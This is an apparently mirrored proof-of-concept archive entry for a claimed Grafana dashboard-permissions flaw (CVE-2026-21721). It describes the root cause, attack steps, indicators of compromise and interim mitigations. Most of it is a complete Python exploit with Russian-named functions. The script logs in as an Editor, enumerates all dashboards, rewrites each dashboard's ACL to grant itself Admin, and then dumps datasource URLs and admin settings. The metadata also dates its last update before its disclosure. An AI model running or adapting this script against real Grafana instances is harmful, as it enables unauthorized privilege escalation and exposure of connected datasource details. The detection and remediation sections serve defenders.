PoC Archive PoC Archive
High CVE-2026-21721 unpatched

Grafana Dashboard Permissions Broken Access Control — Editor-to-Admin Privilege Escalation (CVE-2026-21721)

by Unattributed handle (repo: Leonideath) · 2026-07-05

Severity
High
CVE
CVE-2026-21721
Category
web
Affected product
Grafana (self-hosted, dashboard permissions API)
Affected versions
Confirmed against Grafana 12.1.1 in the author's lab
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / ResearcherUnattributed handle (repo: Leonideath)
CVE / AdvisoryCVE-2026-21721
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsgrafana, privilege-escalation, broken-access-control, dashboard-permissions, editor-to-admin, api
RelatedN/A

Affected Target

FieldValue
Software / SystemGrafana (self-hosted, dashboard permissions API)
Versions AffectedConfirmed against Grafana 12.1.1 in the author’s lab
Language / PlatformPython 3 (uses requests) against Grafana’s HTTP API
Authentication RequiredYes (valid low-privileged Editor account)
Network Access RequiredYes

Summary

This PoC demonstrates a broken-access-control flaw in Grafana’s per-dashboard permissions API: an authenticated user holding only the Editor role can read and rewrite the ACL (/api/dashboards/uid/{uid}/permissions) for dashboards they do not own, and use it to grant themselves Admin-level (permission level 4) access on every dashboard in the instance. The script logs in as the Editor account, enumerates every dashboard via /api/search, reads the current permission list for each dashboard, inserts or upgrades an entry for the authenticated user’s ID to permission: 4 (Admin), and POSTs it back. It then dumps datasources and admin settings to confirm the elevated access actually took effect.


Vulnerability Details

Root Cause

The dashboard permissions write endpoint (POST /api/dashboards/uid/{uid}/permissions) does not sufficiently verify that the requesting user is authorized to modify the ACL for dashboards outside their own ownership/team scope, allowing a low-privileged Editor session to add or elevate its own permission entry to Admin (level 4) on arbitrary dashboards.

Attack Vector

  1. Attacker authenticates to Grafana with a valid but low-privileged Editor account.
  2. Attacker retrieves their own userId via /api/user.
  3. Attacker enumerates all dashboards via /api/search?type=dash-db.
  4. For each dashboard, attacker reads existing permissions (GET .../permissions), appends or upgrades their own userId entry to permission: 4, and POSTs the modified list back.
  5. Attacker now holds Admin-level access on every dashboard, then optionally reads datasources and admin settings to confirm privilege escalation.

Impact

An Editor-level authenticated user can escalate to Admin permissions across all dashboards in the Grafana instance, exposing connected datasource credentials/URLs and admin-only settings, and enabling further tampering with dashboards and alerting configuration instance-wide.


Environment / Lab Setup

Target:   Grafana 12.1.1 (self-hosted), behind path /grafana in the author's lab
Attacker: Python 3, pip install requests urllib3

Proof of Concept

PoC Script

See exploit_CVE-2026-21721.py in this folder.

1
python3 exploit_CVE-2026-21721.py

The script logs in with the supplied Editor credentials, resolves the caller’s user ID, enumerates all dashboards, and attempts to rewrite each dashboard’s permission ACL to grant the caller Admin (level 4) rights, printing per-dashboard success/failure and a post-escalation dump of datasources and admin settings.


Detection & Indicators of Compromise

Signs of compromise:

  • A non-Admin user’s account appearing with permission: 4 (Admin) on dashboards they do not own
  • Bursts of /api/dashboards/uid/{uid}/permissions POST requests from one session touching many distinct dashboard UIDs
  • Unexpected reads of /api/datasources or /api/admin/settings from an Editor-tier account immediately after permission changes

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for a Grafana security advisory for CVE-2026-21721
Interim mitigationRestrict who can call the dashboard permissions API via reverse-proxy/RBAC rules, audit and alert on permission-list changes that add Admin entries, review existing dashboard ACLs for unauthorized Admin grants

References


Notes

Mirrored from https://github.com/Leonideath/Exploit-LPE-CVE-2026-21721 on 2026-07-05.

exploit_CVE-2026-21721.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Grafana CVE-2026-21721 Exploit — Полная эскалация
Чтение всех разрешений + попытка записи Admin на всех дашбордах
"""

import requests
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_PATH = "/grafana"


def print_banner():
    print("""
╔════════════════════════════════════════════════════════════╗
║  CVE-2026-21721 Exploit — Полная эскалация до Admin        ║
║  На всех дашбордах                                         ║
╚════════════════════════════════════════════════════════════╝
""")


def авторизоваться(session, url, логин, пароль):
    print(f"[+] Авторизация как {логин}")

    данные = {"user": логин, "password": пароль}

    r = session.post(f"{url}{BASE_PATH}/login", json=данные, timeout=12)
    print(f"[+] /login → {r.status_code}")

    if r.status_code != 200:
        print(f"[-] Ошибка авторизации: {r.text}")
        sys.exit(1)

    print("[+] Авторизация прошла успешно")


def получить_user_id(session, url):
    r = session.get(f"{url}{BASE_PATH}/api/user", timeout=10)
    if r.status_code == 200:
        data = r.json()
        user_id = data.get('id')
        print(f"[+] Твой userId: {user_id}")
        return user_id
    print("[-] Не удалось получить userId")
    sys.exit(1)


def получить_дашборды(session, url):
    print("\n[+] Получаем список всех дашбордов...")
    r = session.get(f"{url}{BASE_PATH}/api/search?type=dash-db&query=", timeout=10)
    if r.status_code != 200:
        print(f"[-] Ошибка получения списка: {r.status_code} {r.text}")
        return []

    дашборды = r.json()
    print(f"[+] Найдено {len(дашборды)} дашбордов")
    return дашборды


def прочитать_разрешения(session, url, uid):
    путь = f"{url}{BASE_PATH}/api/dashboards/uid/{uid}/permissions"
    r = session.get(путь, timeout=10)
    if r.status_code == 200:
        print(f"[+] Чтение {uid[:12]}... → 200")
        return r.json()
    print(f"[-] Чтение {uid[:12]}... → {r.status_code} {r.text}")
    return []


def применить_admin_права(session, url, uid, user_id):
    print(f"\n[+] Становимся админом на {uid[:12]}...")

    текущие = прочитать_разрешения(session, url, uid)
    if not текущие:
        print("[-] Не удалось прочитать разрешения")
        return False

    обновлённые = []
    добавлено = False

    for item in текущие:
        обновлённые.append(item)
        if item.get('userId') == user_id:
            item['permission'] = 4
            добавлено = True

    if not добавлено:
        обновлённые.append({
            "userId": user_id,
            "permission": 4
        })

    payload = {"items": обновлённые}

    путь = f"{url}{BASE_PATH}/api/dashboards/uid/{uid}/permissions"
    r = session.post(путь, json=payload, timeout=10)
    print(f"  → POST статус: {r.status_code}")
    print(f"  Ответ: {r.text}")

    if r.status_code == 200:
        print("  [+] УСПЕХ: Admin права применены")
        return True

    return False


def дамп_после(session, url):
    print("\n[+] Дамп после попыток")

    r_ds = session.get(f"{url}{BASE_PATH}/api/datasources", timeout=10)
    print(f"  Datasources → {r_ds.status_code}")
    if r_ds.status_code == 200:
        for ds in r_ds.json():
            print(f"    {ds.get('name')}: {ds.get('url')}")

    r_set = session.get(f"{url}{BASE_PATH}/api/admin/settings", timeout=10)
    print(f"  Настройки админа → {r_set.status_code}")


def main():
    print_banner()

    session = requests.Session()
    session.verify = False  # ← Вот эта строка отключает проверку сертификата

    url = input("[+] Введи цель (например https://grafana.com): ").strip()
    логин = input("[+] Логин: ").strip()
    пароль = input("[+] Пароль: ").strip()

    if not url.startswith("http"):
        url = "https://" + url

    авторизоваться(session, url, логин, пароль)

    user_id = получить_user_id(session, url)

    дашборды = получить_дашборды(session, url)
    if not дашборды:
        sys.exit(1)

    for db in дашборды:
        uid = db.get("uid")
        название = db.get("title", "—")[:50]
        if not uid:
            continue

        применить_admin_права(session, url, uid, user_id)

    дамп_после(session, url)

    print("\n[+] Завершено. Зайди в UI и проверь вкладку Permissions на всех дашбордах")


if __name__ == "__main__":
    main()